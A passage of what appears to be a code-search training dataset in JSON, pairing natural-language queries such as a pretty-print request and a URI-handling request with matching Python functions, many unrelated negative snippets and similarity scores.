\\\", col+1, \\\" se envía \\\", actual_number)\",\n \"def display_data(data):\\n\\n index = 0\\n for details in data:\\n index += 1\\n print(\\\"{5:1}{0}. {1:10} in {2:15} priority {3:>3}\\\".format(index, *details))\",\n \"def pretty_print_result_map(results: dict) -> None:\\n print(json.dumps({k: map_res(v) for k, v in results.items()}, indent=2))\",\n \"def display_results_line(stats):\\n # Line output.\\n template = ' %5d |%6.2f |%6.2f %6.2f %6.2f |%3d %3d %3d'\\n\\n num_bytes = stats['data_size']\\n\\n P_times = stats['P_times']\\n val = [num_bytes]\\n for p in P_times:\\n val.append(p*1000.)\\n\\n val.append(stats['count_lost'])\\n val.append(stats['count_timeout'])\\n val.append(stats['count_corrupt'])\\n val = tuple(val)\\n\\n print(template % val)\",\n \"def display_json(self, results, verbose):\\n print(json.dumps(results))\",\n \"def prettify_output(data, columns):\\n return data.filter(columns)\",\n \"def uglyprint(self):\\n\\n ctmp = self.conn.cursor()\\n ctmp.execute(\\\"SELECT * FROM ATOM\\\")\\n print(ctmp.fetchall())\",\n \"def pretty(self):\\n return self._pretty\",\n \"def print_results(self, data: SimData) -> None:\\n pass\",\n \"def pretty_print(self):\\n return self.tree.pretty_print()\",\n \"def prettify_details(data):\\n new = []\\n if \\\"terminaltables\\\" in sys.modules:\\n for key, value in data.items():\\n if key.startswith(\\\"__\\\"):\\n continue\\n if isinstance(value, (int, float)) and not isinstance(value, bool):\\n new.append((key, \\\"{:15,.2f}\\\".format(value)))\\n else:\\n new.append((key, value))\\n table = terminaltables.DoubleTable(new)\\n table.inner_heading_row_border = False\\n table.justify_columns[1] = 'right'\\n return table.table.replace(\\\"\\\\n\\\", \\\"<br />\\\")\\n else:\\n formatted = json.dumps({k: v for k, v in data.items()\\n if not k.startswith(\\\"__\\\")}, indent=4)\\n new = formatted[2:-2].replace(\\\"\\\\n\\\", \\\"<br />\\\")\\n return new\",\n \"def _print_summary(results):\\n if not len(results) > 0:\\n print 'No results to show in summary.'\\n return\\n\\n table = {}\\n for res in results:\\n for k, v in res.iteritems():\\n table.setdefault(k, []).append(v)\\n print tabulate(table, headers='keys', tablefmt=\\\"simple\\\")\",\n \"def prettyPrint(self):\\n import pprint\\n pp = pprint.PrettyPrinter(indent=4)\\n x=pp.pformat(self.__dict__)\\n print x\\n return\",\n \"def dump_to_console(name, results, benchmark):\\r\\n for a in affinities:\\r\\n print(\\\" \\\"+a)\\r\\n res = results[a]\\r\\n print(\\\"\\\\t\\\"+\\\"#thr\\\"+\\\"\\\\t\\\"+\\\"time\\\"+\\\"\\\\t\\\"+\\\"spdup\\\"+\\\"\\\\t\\\"+\\\"effc\\\"+\\\"\\\\t\\\"+\\\"raw\\\")\\r\\n for i in range(len(res[\\\"threads\\\"])):\\r\\n print(\\\"\\\\t{0}\\\\t{1:.2f}\\\\t{2:.2f}\\\\t{3:.4f}\\\\t{4}\\\".format(\\r\\n res[\\\"threads\\\"][i],\\r\\n res[\\\"avg\\\"][i],\\r\\n res[\\\"speedup\\\"][i],\\r\\n res[\\\"efficiency\\\"][i],\\r\\n benchmark[a][res[\\\"threads\\\"][i]]))\\r\\n print()\",\n \"def pretty_str(self) -> str:\\n ...\",\n \"def pretty_display(self):\\n\\t\\tpretty_space = PrettyTable()\\n\\t\\tpretty_space.field_names = range(self.space.shape[1])\\n\\t\\tcount = 0\\n\\t\\tpretty_row = []\\n\\t\\tfor cell in self.space.flat:\\n\\t\\t\\tcount = count + 1\\n\\t\\t\\tpretty_row.append(cell.state)\\n\\t\\t\\tif count >= self.space.shape[1]:\\n\\t\\t\\t\\tpretty_space.add_row(pretty_row)\\n\\t\\t\\t\\tcount = 0\\n\\t\\t\\t\\tpretty_row = []\\n\\t\\tprint(pretty_space)\",\n \"def result_display(self, arg):\\n if self.rc.pprint:\\n out = stringify_func(arg)\\n\\n if '\\\\n' in out:\\n print\\n\\n print out\\n else:\\n print repr(arg)\",\n \"def get_result_printer(self):\\n if isinstance(self.get_output, list):\\n for value, key in self.get_output:\\n print(value, key)\\n else:\\n for key, value in self.get_output.items():\\n print(value, key)\",\n \"def formatResult(self, result):\\r\\n return '\\\\t'.join(map(str, result))\",\n \"def print_data(data):\\n print(str(data))\\n return data\",\n \"def printPrettyFromCursor(cur, args):\\n rows = []\\n #get column headers -- not very ergonomic\\n # exit if function does nto return things\\n if not cur.description:\\n return\\n if args.header:\\n rows.append([item[0] for item in cur.description])\\n\\n rows = rows + cur.fetchall()\\n zipped = zip(*rows)\\n widths = []\\n for col in zipped:\\n width = max([len(stringify(c)) for c in col])\\n widths.append(width)\\n fmat = ' '.join(['{:<%d}' % width for width in widths])\\n for row in rows:\\n row = [stringify(r) for r in row]\\n print(fmat.format(*row))\",\n \"def results(self):\\n to_print = \\\"\\\"\\n\\n # determine longest key for pretty print\\n limit = 0\\n for key in self.__results:\\n if len(key) > limit:\\n limit = len(key)\\n\\n # decide spacing and ending between results based on type of input\\n spacing = \\\"\\\"\\n if len(self.input) > 1:\\n spacing = \\\"\\\\t\\\"\\n\\n for key in self.__results:\\n key_name = key\\n if len(self.patterns) < 2:\\n key_name = \\\"\\\"\\n\\n if self.counter:\\n matches = self.__results[key]\\n else:\\n matches = \\\", \\\".join([str(i) for i in self.__results[key]])\\n\\n if len(self.patterns) > 1:\\n to_print += (f'{spacing}{key_name:<{limit+2}}{matches}\\\\n')\\n else:\\n to_print += (f'{spacing}{matches}\\\\n')\\n\\n # remove last newline\\n to_print = to_print[:-1]\\n\\n return to_print\",\n \"def pretty_echo(data: Any) -> None:\\n json_lexer = get_lexer_by_name('json')\\n console_formatter = get_formatter_by_name('console')\\n click.echo(highlight(json.dumps(data, indent=4), json_lexer, console_formatter))\",\n \"def pretty_print(self, indent=8):\\n formatted_lines = []\\n for line in self.coefficients:\\n formatted_items = []\\n for item in line:\\n formatted_items.append(str(item).ljust(indent, \\\" \\\"))\\n formatted_lines.append(u\\\"(\\\" + \\\", \\\".join(formatted_items) + u\\\")\\\")\\n return u\\\"(\\\" + u\\\",\\\\n \\\".join(formatted_lines) + u\\\")\\\"\",\n \"def pprint(self):\\n # just here for defining the interface; work is done in subclasses\\n pass\",\n \"def format_raw(self,query_results,output_stream):\\n #print(query_results.data)\\n delimiter=query_results.delimiter\\n res=[]\\n for row in query_results.data:\\n if 'data' in row:\\n raw=delimiter.join(row['data'])\\n if output_stream=='STDIO':\\n print(raw)\\n else:\\n res.append(raw)\\n\\n if output_stream=='STRING':\\n return res\",\n \"def pr(x):\\n Card.print_pretty_cards(x)\",\n \"def format_results(requests):\\n\\n keys = get_sorted_keys(requests)\\n index = 1\\n \\n print \\\"\\\\nResults:\\\"\\n for key in keys:\\n\\tfor request in requests[key]:\\n\\t print \\\"%s %s\\\" % (index, request.print_result())\\n\\t index += 1\",\n \"def print_json(results):\\r\\n import json\\r\\n stats = calc_stats(results)\\r\\n print(json.dumps(stats._asdict()))\",\n \"def pretty_print(self):\\r\\n out = \\\"\\\"\\r\\n\\r\\n rows,cols = self.matrix.shape\\r\\n\\r\\n for row in xrange(0,rows):\\r\\n out += \\\"[\\\"\\r\\n\\r\\n for col in xrange(0,cols):\\r\\n out += \\\"%+0.2f \\\"%self.matrix[row][col]\\r\\n out += \\\"]\\\\n\\\"\\r\\n\\r\\n return out\",\n \"def print_out():\\n pass\",\n \"def format_json(self,query_results):\\n results=query_results.data\\n factory=factory_json()\\n dump=factory.dumps(results)\\n print(dump)\\n # TODO return output for this\\n return \\\"\\\"\",\n \"def pprint(self, parameter_s=''):\\n ptformatter = self.shell.display_formatter.formatters['text/plain']\\n ptformatter.pprint = bool(1 - ptformatter.pprint)\\n print('Pretty printing has been turned',\\n ['OFF','ON'][ptformatter.pprint])\",\n \"def print_individuals(self):\\n pt = PrettyTable()\\n pt.field_names = ['ID', 'Name', 'Gender', 'Birthday', 'Age', 'Alive', 'Death', 'Child', 'Spouse']\\n for i in self.individuals.values():\\n pt.add_row(i.get_values())\\n print(pt)\",\n \"def pretty_print(data, indent=4):\\n if type(data) == dict:\\n print(json.dumps(data, indent=indent, sort_keys=True))\\n else:\\n print(data)\",\n \"def print_results(results):\\n data = []\\n for idx in results.index:\\n item = results.loc[idx]\\n row = (str(item.gid), \\n re.sub(r'\\\\n', ' ', item.creators),\\n re.sub(r'[\\\\n\\\\r]+', ' ', item.title), \\n gut_utf8.format(item.gid))\\n data.append(row)\\n _ = [print('|'.join(row)) for row in data]\\n print('#', len(data), \\\"items returned\\\")\\n return data\",\n \"def _format(self):\\n output = f\\\"\\\\n{color('>>> DUMP')} from {self.filename}: {color(f'L{self.line}')} in {color(f'{self.method}()')}\\\"\\n\\n for name, obj in self.objects.items():\\n output += f\\\"\\\\n\\\\n{color(f' - {name}:')}\\\\n\\\"\\n output += f\\\" {pformat(obj, width=110, indent=4)}\\\"\\n\\n output += color(\\\"\\\\n\\\\n<<< END\\\")\\n return output\",\n \"def pprint(json_data):\\n\\n print(json.dumps(json_data, indent=4, separators=(' , ', ' : ')))\",\n \"def print_result_info(self,result,filename):\\n print ('File: %s' % filename)\\n print ('Desc: %s' % result.description)\\n print ('Version: %s' % result.version)\\n print ('Arch: %s' % result.arch)\\n print ('Platform: %s' % result.platform)\\n print ('CPU: %s' % result.cpuarch)\\n if hasattr(result,'sequence'):\\n print ('Sequence: %s' % result.sequence)\\n print ('Person: %s (%s)' % (result.person_name,result.person_id))\\n result.print_summary()\\n print('')\",\n \"def pprint(self):\\r\\n for i in self.items():\\r\\n print '%s => %r'%i\",\n \"def pretty_print_results(user_shingles: set, tracks_dict: dict, given_args, result: list):\\n print('USER REQUEST: ')\\n print('Track attributes: ' + str(user_shingles))\\n print('Location: ')\\n print('\\\\t North: ' + str(given_args.north_lim))\\n print('\\\\t South: ' + str(given_args.south_lim))\\n print('\\\\t East: ' + str(given_args.east_lim))\\n print('\\\\t West: ' + str(given_args.west_lim))\\n print('\\\\n')\\n\\n print('TRACKS FOUND: ')\\n for t_id in result:\\n print('Track id: ' + str(t_id))\\n print('Track attributes: ' + str(set(tracks_dict[t_id]['attributes'])))\\n print('Location: ')\\n print('\\\\t North: ' + str(tracks_dict[t_id]['boundaries']['north']))\\n print('\\\\t South: ' + str(tracks_dict[t_id]['boundaries']['south']))\\n print('\\\\t East: ' + str(tracks_dict[t_id]['boundaries']['east']))\\n print('\\\\t West: ' + str(tracks_dict[t_id]['boundaries']['west']))\\n print('\\\\n')\",\n \"def pretty_print_table(result, heading=False):\\n # If the data is not in string, then it is likely a text format\\n if type(result) == 'str':\\n result = result.split('\\\\n')\\n result = [line.split() for line in result]\\n #Remove empty items\\n result = [row for row in result if row!=['']]\\n\\n columns = len(result[0]) #Get the number of columns, this is used for row formatting\\n row_format = '' #variable to construct the row formatting\\n \\n # Calculating the max length for each column\\n for i in range(0, columns):\\n # picking the length of the longest element\\n #Need to convert the elements into string\\n MAX_LEN = len(max([str(row[i]) for row in result], key=len))\\n # Constructing the string formatting\\n row_format += \\\"{:<\\\" + str(MAX_LEN) + \\\"} | \\\"\\n\\n pretty_result = ''\\n if heading:\\n pretty_result = row_format.format(*result[0]) + '\\\\n'\\n pretty_result += len(row_format.format(*result[0])) * \\\"-\\\" + '\\\\n'\\n result = result[1:]\\n for row in result:\\n pretty_result += row_format.format(*row) + '\\\\n'\\n return pretty_result\",\n \"def print_table(self):\\n print(\\\"%-12s%-12s%-12s%-12s%-12s\\\" % (\\\"index\\\",\\\"balance\\\",\\\"payment\\\",\\\"interest\\\",\\\"amortization\\\"))\\n print(\\\"-------------------------------------------------------------\\\")\\n for i in self.table[\\\"index\\\"]:\\n print(\\\"%-12i%-12i%-12i%-12i%-12i\\\" % (self.table[\\\"index\\\"][i],self.table[\\\"balance\\\"][i]\\\\\\n ,self.table[\\\"payment\\\"][i],self.table[\\\"interest\\\"][i],\\\\\\n self.table[\\\"amortization\\\"][i]))\",\n \"def pretty_print(self) -> PrettyTable:\\n table_contain: PrettyTable = PrettyTable()\\n table_contain.field_names = [\\n \\\"File Name\\\", \\\"Classes\\\", \\\"Functions\\\", \\\"Lines\\\", \\\"Characters\\\"]\\n for key, value in self.files_summary.items():\\n table_contain.add_row([key] + list(value.values()))\\n\\n return table_contain\",\n \"def dump(self):\\n outputs = [\\\"View : %s\\\\n\\\" % self.name]\\n cols = list(self.columns.values())\\n cols.sort()\\n for column in cols:\\n outputs.append(\\\" %-30s %-12s\\\" % (column['name'], column['type']))\\n outputs.append(\\\"%7s\\\" % self.__class__.calc_precision(column['type'],\\n column['length'], column['precision'], column['scale']))\\n if not column['nullable']:\\n outputs.append(\\\" NOT NULL\\\")\\n outputs.append(\\\"\\\\n\\\")\\n outputs.append(\\\"\\\\n\\\")\\n outputs.append(self.sql+\\\"\\\\n\\\")\\n outputs.append(\\\"\\\\n\\\")\\n return \\\"\\\".join(outputs)\",\n \"def __print_work_table(table):\\n print \\\"%-5s %-30s %5s %5s %5s %5s %5s\\\" % ('Act', 'Pred', 'Block', 'Dummy', 'Succ', 'start', 'end')\\n for k, col in sorted(table.items()):\\n print \\\"%-5s %-30s %5s %5s %5s %5s %5s\\\" % tuple(\\n [str(k)] + [list(col[0])] + [str(col[i]) for i in range(1, len(col))])\",\n \"def __str__(self):\\n return pprint.pformat(self.search_results)\",\n \"def display_results_for_views(result):\\n i = 0\\n for r in result:\\n print('\\\\t'+str(result[i][0]) + ' ---> '+str(result[i][1])+' views')\\n i = i + 1\",\n \"def pretty_view(self):\\n return self.pretty_response()\",\n \"def print_report():\\n width = 68\\n print(\\\"-\\\" * width)\\n header = (\\\"Donor Name\\\", \\\"Total Given\\\", \\\"Num Gifts\\\", \\\"Average Gift\\\")\\n print(\\\"{:20} | {:15} | {:10} | {:12}\\\".format(*header))\\n print(\\\"-\\\" * width)\\n for index, donor in enumerate(donors_data):\\n name = donor[\\\"name\\\"]\\n total = sum(donor[\\\"donations\\\"])\\n num_gift = len(donor[\\\"donations\\\"])\\n average = total/num_gift\\n print(\\\"{:22} ${:12,.2f} {:12d} ${:12,.2f}\\\".format(name, total, num_gift, average ))\\n print(\\\"-\\\" * width)\",\n \"def print_table(data):\\n for key in sorted(data):\\n print \\\"%s: %s\\\" % (key.rjust(16), data[key])\",\n \"def prettySummary(self):\\n #import pandas as pd\\n temp = self.framed.describe().toPandas()\\n temp.iloc[1:3,1:] = temp.iloc[1:3,1:].convert_objects(convert_numeric=True)\\n pd.options.display.float_format = '{:,.2f}'.format\\n \\n return temp\",\n \"def print_dict(data):\\n print data\",\n \"def prettyPrint(description, ip_comp, host, width):\\n value = (len(ip_comp) + len(host))\\n #When printing values wider than the second column, split and print them\\n if value > (int(width/3)):\\n print(\\\"| \\\" + description.ljust(int(width/3)) + \\\" |\\\" ), \\n i=0\\n wrapped=textwrap.wrap(value, 60) \\n for loop in wrapped:\\n print(\\\"Fail point 3 inside loop\\\")\\n if i == 0:\\n print(loop + \\\"|\\\".rjust(int(width/3-(len(loop)))))\\n else: \\n print(\\\"| \\\".ljust(int(width/3+3)) + \\\" | \\\" + loop + \\\"|\\\".rjust(int(width/3-(len(loop)))))\\n i=i+1\\n else: \\n print( \\\"| \\\" + description.ljust(int(width/3)) + \\\" | \\\" + ip_comp.rjust(int(width/3-6)) + \\\" | \\\" + host.rjust(int(width/3+2)) + \\\"|\\\")\",\n \"def do_something_pretty(jsondata):\\n import itertools # for flattening a list of tuples below\\n\\n # We only want the first array from the array of arrays under \\\"Value\\\" \\n # - it's cluster assignment and distances from all centroid centers from k-means model\\n value = jsondata[\\\"Results\\\"][\\\"output1\\\"][\\\"value\\\"][\\\"Values\\\"][0]\\n # valuelen = len(value)\\n print(value)\\n\\n scored_label = value[18]\\n \\n # Convert values (a list) to a list of tuples [(cluster#,distance),...]\\n # valuetuple = list(zip(range(valuelen-1), value[1:(valuelen)]))\\n # Convert the list of tuples to one long list (flatten it)\\n # valuelist = list(itertools.chain(*valuetuple))\\n\\n # Convert to a tuple for the list\\n # data = tuple(list(value[0]) + valuelist)\\n\\n # Build a placeholder for the cluster#,distance values\\n #repstr = '<tr><td>%d</td><td>%s</td></tr>' * (valuelen-1)\\n # print(repstr)\\n output_bayesian=f'Our Bayesian linear regression model would predict a value of {str((float(scored_label)*294.433746) + 43.90625)}'\\n # Build the entire html table for the results data representation\\n #tablestr = 'Cluster assignment: %s<br><br><table border=\\\"1\\\"><tr><th>Cluster</th><th>Distance From Center</th></tr>'+ repstr + \\\"</table>\\\"\\n #return tablestr % data\\n return output_bayesian\",\n \"def pretty_print_nlp_parsing_results(self, doc):\\n\\n if len(doc) > 0:\\n print(\\\"\\\")\\n print(\\\"{:12} {:12} {:12} {:12} {:12} {:12} {:12} {:12}\\\".format(\\\"TEXT\\\", \\\"LEMMA\\\", \\\"POS\\\", \\\"TAG\\\", \\\"DEP\\\", \\\"SHAPE\\\", \\\"ALPHA\\\", \\\"STOP\\\"))\\n for token in doc:\\n print(\\\"{:12} {:12} {:12} {:12} {:12} {:12} {:12} {:12}\\\".format(token.text, token.lemma_, token.pos_, token.tag_, token.dep_, token.shape_, str(token.is_alpha), str(token.is_stop)))\\n print(\\\"\\\")\\n if len(list(doc.noun_chunks)) > 0:\\n print(\\\"{:12} {:12} {:12} {:12}\\\".format(\\\"TEXT\\\", \\\"ROOT.TEXT\\\", \\\"ROOT.DEP_\\\", \\\"ROOT.HEAD.TEXT\\\"))\\n for chunk in doc.noun_chunks:\\n print(\\\"{:12} {:12} {:12} {:12}\\\".format(chunk.text, chunk.root.text, chunk.root.dep_, chunk.root.head.text))\\n print(\\\"\\\")\",\n \"def pprint(self):\\n return pformat(repr(self))\",\n \"def pprint(*d):\\n i = 0\\n while i < len(d):\\n print(pretty(d[i]))\\n i += 1\",\n \"def print_tests_results(self):\\n\\n for test in self.test_report:\\n for detail in test:\\n print detail + ': ', test[detail]\",\n \"def to_print_out(self):\\n self.error_throw('output')\\n\\n if self.rank_method == methods_of_ranking[3]: #'diversified_ranking'\\n self.output_div('print')\\n else:\\n self.output('print')\",\n \"def print_perf_results(results, cpu_info):\\n if not results:\\n return\\n\\n print('CPU Info: {}'.format(cpu_info['cpu_info']))\\n print('Num cores: {}'.format(cpu_info['num_cpus']))\\n print('Frequency: {} MHz'.format(cpu_info['mhz_per_cpu']))\\n\\n metrics = None\\n row_format = None\\n\\n for name, res_dict in results.items():\\n if not metrics:\\n metrics = res_dict.keys()\\n row_format = '{:<25}' + '{:^15}' * len(metrics)\\n\\n # print the header.\\n print(row_format.format('', *metrics))\\n\\n results = [res_dict[m] for m in metrics]\\n print(row_format.format(name, *results))\",\n \"def __str__(self):\\n tabuleiro = prettytable.PrettyTable(header=False)\\n for linha in self.tabuleiro:\\n tabuleiro.add_row(linha)\\n return str(tabuleiro)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7651632","0.73510516","0.73510516","0.7142628","0.7091028","0.70429","0.70243996","0.7002873","0.69559413","0.69347566","0.69135714","0.68599814","0.6835211","0.682232","0.6799566","0.6789554","0.6752801","0.67316437","0.6708856","0.6648762","0.6640318","0.660952","0.660909","0.6535784","0.65342605","0.6531321","0.65229475","0.6506152","0.6501167","0.64881325","0.64777577","0.64748013","0.64689815","0.6450843","0.6445021","0.6428005","0.6422982","0.6419238","0.64042294","0.64038825","0.6396872","0.63967377","0.63930434","0.63768375","0.63722223","0.63654494","0.6364111","0.63604915","0.63522285","0.63482666","0.63464695","0.63426375","0.6338694","0.63322693","0.6316656","0.63153464","0.6310393","0.6297339","0.62865484","0.62850195","0.62846214","0.62823564","0.6281995","0.6280659","0.6273432","0.62707716","0.6257546","0.6249111","0.62469274","0.6238136","0.6236103","0.6234811","0.6217827","0.62016475","0.61940145","0.61899996","0.6187697","0.6186563","0.6183412","0.6178542","0.6174569","0.617202","0.6170159","0.6157464","0.6136577","0.6126515","0.6122281","0.6121879","0.6117545","0.6114159","0.6112351","0.6104726","0.61011255","0.60961384","0.6093514","0.6082635","0.6078921","0.6077202","0.60738647","0.6072225"],"string":"[\n \"0.7651632\",\n \"0.73510516\",\n \"0.73510516\",\n \"0.7142628\",\n \"0.7091028\",\n \"0.70429\",\n \"0.70243996\",\n \"0.7002873\",\n \"0.69559413\",\n \"0.69347566\",\n \"0.69135714\",\n \"0.68599814\",\n \"0.6835211\",\n \"0.682232\",\n \"0.6799566\",\n \"0.6789554\",\n \"0.6752801\",\n \"0.67316437\",\n \"0.6708856\",\n \"0.6648762\",\n \"0.6640318\",\n \"0.660952\",\n \"0.660909\",\n \"0.6535784\",\n \"0.65342605\",\n \"0.6531321\",\n \"0.65229475\",\n \"0.6506152\",\n \"0.6501167\",\n \"0.64881325\",\n \"0.64777577\",\n \"0.64748013\",\n \"0.64689815\",\n \"0.6450843\",\n \"0.6445021\",\n \"0.6428005\",\n \"0.6422982\",\n \"0.6419238\",\n \"0.64042294\",\n \"0.64038825\",\n \"0.6396872\",\n \"0.63967377\",\n \"0.63930434\",\n \"0.63768375\",\n \"0.63722223\",\n \"0.63654494\",\n \"0.6364111\",\n \"0.63604915\",\n \"0.63522285\",\n \"0.63482666\",\n \"0.63464695\",\n \"0.63426375\",\n \"0.6338694\",\n \"0.63322693\",\n \"0.6316656\",\n \"0.63153464\",\n \"0.6310393\",\n \"0.6297339\",\n \"0.62865484\",\n \"0.62850195\",\n \"0.62846214\",\n \"0.62823564\",\n \"0.6281995\",\n \"0.6280659\",\n \"0.6273432\",\n \"0.62707716\",\n \"0.6257546\",\n \"0.6249111\",\n \"0.62469274\",\n \"0.6238136\",\n \"0.6236103\",\n \"0.6234811\",\n \"0.6217827\",\n \"0.62016475\",\n \"0.61940145\",\n \"0.61899996\",\n \"0.6187697\",\n \"0.6186563\",\n \"0.6183412\",\n \"0.6178542\",\n \"0.6174569\",\n \"0.617202\",\n \"0.6170159\",\n \"0.6157464\",\n \"0.6136577\",\n \"0.6126515\",\n \"0.6122281\",\n \"0.6121879\",\n \"0.6117545\",\n \"0.6114159\",\n \"0.6112351\",\n \"0.6104726\",\n \"0.61011255\",\n \"0.60961384\",\n \"0.6093514\",\n \"0.6082635\",\n \"0.6078921\",\n \"0.6077202\",\n \"0.60738647\",\n \"0.6072225\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.718061"},"document_rank":{"kind":"string","value":"3"}}},{"rowIdx":14476,"cells":{"query":{"kind":"string","value":"Takes as argument one URI from"},"document":{"kind":"string","value":"def unpack(uri):\n conn = boto.connect_s3(anon=True, host='s3.amazonaws.com')\n bucket = conn.get_bucket('commoncrawl')\n key_ = Key(bucket, uri)\n file_ = warc.WARCFile(fileobj=GzipStreamFile(key_))\n return file_"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def __init__(self, uri):\n\n self.uri = uri","def url():\n ...","def set_uri(self, uri):\r\n self.uri = uri","def _get_url(self, absolute):","def uri(self, uri):\n self._uri = uri","def uri(self, uri):\n self._uri = uri","def _uri(self):\n raise NotImplementedError","def create_uri(uri):\n return URIRef(uri)","def quote_uri(uri):\n import urlparse\n import urllib\n\n up=urlparse.urlparse(uri)\n np=urllib.quote(up[2])\n return urlparse.urlunparse((up[0],up[1],np,up[3],up[4],up[5]))","def uri(self, path):\n path = ensure_slash(path)\n return 'http://127.0.0.1:%d%s' % (self.port, path)","def any_to_uri(uri_or_path):\n if os.path.splitdrive(uri_or_path)[0]:\n return path_to_file_uri(uri_or_path)\n u = urlparse(uri_or_path)\n return uri_or_path if u.scheme else path_to_file_uri(uri_or_path)","def _discoverLocation(self, uri):","def uri(self, uri):\n\n self._uri = uri","def uri(self, uri):\n\n self._uri = uri","def query(url):","def __init__(self, uri):\n super(ResolutionError, self).__init__(\n \"{0} is not an absolute URI.\".format(uri.unsplit()))","def uri_f(x: Text) -> Tuple[Text, Text]:\n if not x.startswith(\"http\"):\n x = \"http://{0}\".format(x)\n return \"uri\", x","def uri(self, uri):\n if uri is None:\n raise ValueError(\"Invalid value for `uri`, must not be `None`\")\n\n self._uri = uri","def set_uri(self, uri):\n self.__uri = uri","def get_uri(self):\r\n return self.uri","def uri_dispatch(uri):\n\n return uri_dispatch_map[os.path.splitext(uri)[1]]","def parseURI(str):\n ret = libxml2mod.xmlParseURI(str)\n if ret is None:raise uriError('xmlParseURI() failed')\n return URI(_obj=ret)","def url(self):\n ...","def call(self, uri, method, arg, extras):\n pass","def getURLForThing(thing):","def uri(self):\n parts = []\n # if I have a scheme\n if self.scheme: parts.append('{}:'.format(self.scheme))\n # if I have an authority\n if self.authority: parts.append('//{}'.format(self.authority))\n # if I have an address\n if self.address: parts.append('{}'.format(self.address))\n # if I have a query\n if self.query: parts.append('?{}'.format(self.query))\n # if I have a fragment\n if self.fragment: parts.append('#{}'.format(self.fragment))\n # assemble and return\n return ''.join(parts)","def resolveUri(self, *args):\n return _libsbml.SBMLResolver_resolveUri(self, *args)","def testQuestionMarkURI(self):\n self.assertEqual([\"http://www.bdog.fi/cgi-bin/netstore/tuotehaku.pl?tuoteryhma=16\"], grab('http://www.bdog.fi/cgi-bin/netstore/tuotehaku.pl?tuoteryhma=16', self.needScheme))","def getURI(self, *args):\n return _libsbml.SBMLExtension_getURI(self, *args)","def parse_uri(uri):\r\n groups = URI.match(uri).groups()\r\n return (groups[1], groups[3], groups[4], groups[6], groups[8])","def get_url(self, uri):\n # TODO make this a prepend_if_needed type method\n return urllib.parse.urljoin(self.hostname, uri)","def supports_uri_scheme():\n\n pass","def test2URIs(self):\n self.assertEqual([\"http://foobar.fi/1234{}[]{}\", \"http://127.0.0.1/\"], grab('http://foobar.fi/1234{}[]{} sadfljs dlfkjsd lf;asdf http://127.0.0.1/', self.needScheme))","def select_uri(uris):\n return sorted(uris, key=uri_sort_key)[0]","def buildURI(URI, base):\n ret = libxml2mod.xmlBuildURI(URI, base)\n return ret","def urlfor( request, *args, **kwargs ):","def resolveUri(self, *args):\n return _libsbml.SBMLFileResolver_resolveUri(self, *args)","def uri(self) -> pulumi.Input[str]:\n return pulumi.get(self, \"uri\")","def uri(self) -> pulumi.Input[str]:\n return pulumi.get(self, \"uri\")","def uri(self) -> pulumi.Input[str]:\n return pulumi.get(self, \"uri\")","def parseUrl(self, resource, type):\n try:\n rId = int(resource)\n resource = \"%s/%s\" % (type, rId)\n except:\n pass\n assert type in resource\n return self.fullUrl(resource)","def BaseUri(context, arg=None):\n #FIXME: Arg must be a node set\n if not arg:\n arg = [context.node]\n if hasattr(arg[0],'baseUri'):\n return arg[0].baseUri\n elif hasattr(arg[0],'refUri'):\n return arg[0].refUri\n return \"\"","def getURI(self, *args):\n return _libsbml.MultiExtension_getURI(self, *args)","def first_http_uri(xia):\n\n return first_uri_matching_prefix(xia, \"http://\")","def _urlnorm(self, uri):\r\n (scheme, authority, path, query, fragment) = parse_uri(uri)\r\n if not scheme or not authority:\r\n raise Exception(\"Only absolute URIs are allowed. uri = %s\" % uri)\r\n authority = authority.lower()\r\n scheme = scheme.lower()\r\n if not path:\r\n path = \"/\"\r\n\r\n # Could do syntax based normalization of the URI before\r\n # computing the digest. See Section 6.2.2 of Std 66.\r\n request_uri = query and \"?\".join([path, query]) or path\r\n scheme = scheme.lower()\r\n defrag_uri = scheme + \"://\" + authority + request_uri\r\n\r\n return defrag_uri","def getPath(self, uri):\n pass","def resolveUri(self, *args):\n return _libsbml.SBMLResolverRegistry_resolveUri(self, *args)","def parseURIRaw(str, raw):\n ret = libxml2mod.xmlParseURIRaw(str, raw)\n if ret is None:raise uriError('xmlParseURIRaw() failed')\n return URI(_obj=ret)","def _make_url(self):\n ...","def AddUriArgument(parser, help_text):\n parser.add_argument('uri', help=help_text)","def __init__(__self__, *,\n uri: Optional[pulumi.Input[str]] = None):\n if uri is not None:\n pulumi.set(__self__, \"uri\", uri)","def _get_one(self,url):\n pass","def _open(args):\n p = Path(args.uri)\n if p.is_file():\n uri = p.resolve().as_uri()\n else:\n # hope the user has provided a valid URI\n uri = args.uri\n\n print(f'opening {uri}')\n args.service.open(uri)","def test_no_variables_in_uri(self):\n uri = \"https://api.github.com/users\"\n t = URITemplate(uri)\n self.assertEqual(t.expand(), uri)\n self.assertEqual(t.expand(users=\"foo\"), uri)","def _set_tracker_uri(self, uri):\r\n parse_result = urlparse.urlparse(uri)\r\n if (parse_result.scheme.lower() not in ['http', 'https'] or\r\n not parse_result.netloc or not parse_result.query):\r\n raise InvalidUriError('Invalid tracker URI (%s)' % uri)\r\n qdict = cgi.parse_qs(parse_result.query)\r\n if not qdict or not 'upload_id' in qdict:\r\n raise InvalidUriError('Invalid tracker URI (%s)' % uri)\r\n self.tracker_uri = uri\r\n self.tracker_uri_host = parse_result.netloc\r\n self.tracker_uri_path = '%s/?%s' % (parse_result.netloc,\r\n parse_result.query)\r\n self.server_has_bytes = 0","def uri(self):\n if self.fetcher:\n return self.fetcher.uri\n else:\n raise InvalidFetcherAccessPoint(\n \" Initialize an access point (%s) first.\"\n % \",\".join(self.Fetchers.keys())\n )","def test_url_with_query(self):\n url = 'http://foo.com/?p=bar.git;a=snapshot;h=v0.1;sf=tgz'\n fragment = '#egg=bar'\n req = InstallRequirement.from_line(url + fragment)\n assert req.link.url == url + fragment, req.link","def test_uris(self):\r\n invariant = [ \r\n u\"ftp://ftp.is.co.za/rfc/rfc1808.txt\",\r\n u\"http://www.ietf.org/rfc/rfc2396.txt\",\r\n u\"ldap://[2001:db8::7]/c=GB?objectClass?one\",\r\n u\"mailto:John.Doe@example.com\",\r\n u\"news:comp.infosystems.www.servers.unix\",\r\n u\"tel:+1-816-555-1212\",\r\n u\"telnet://192.0.2.16:80/\",\r\n 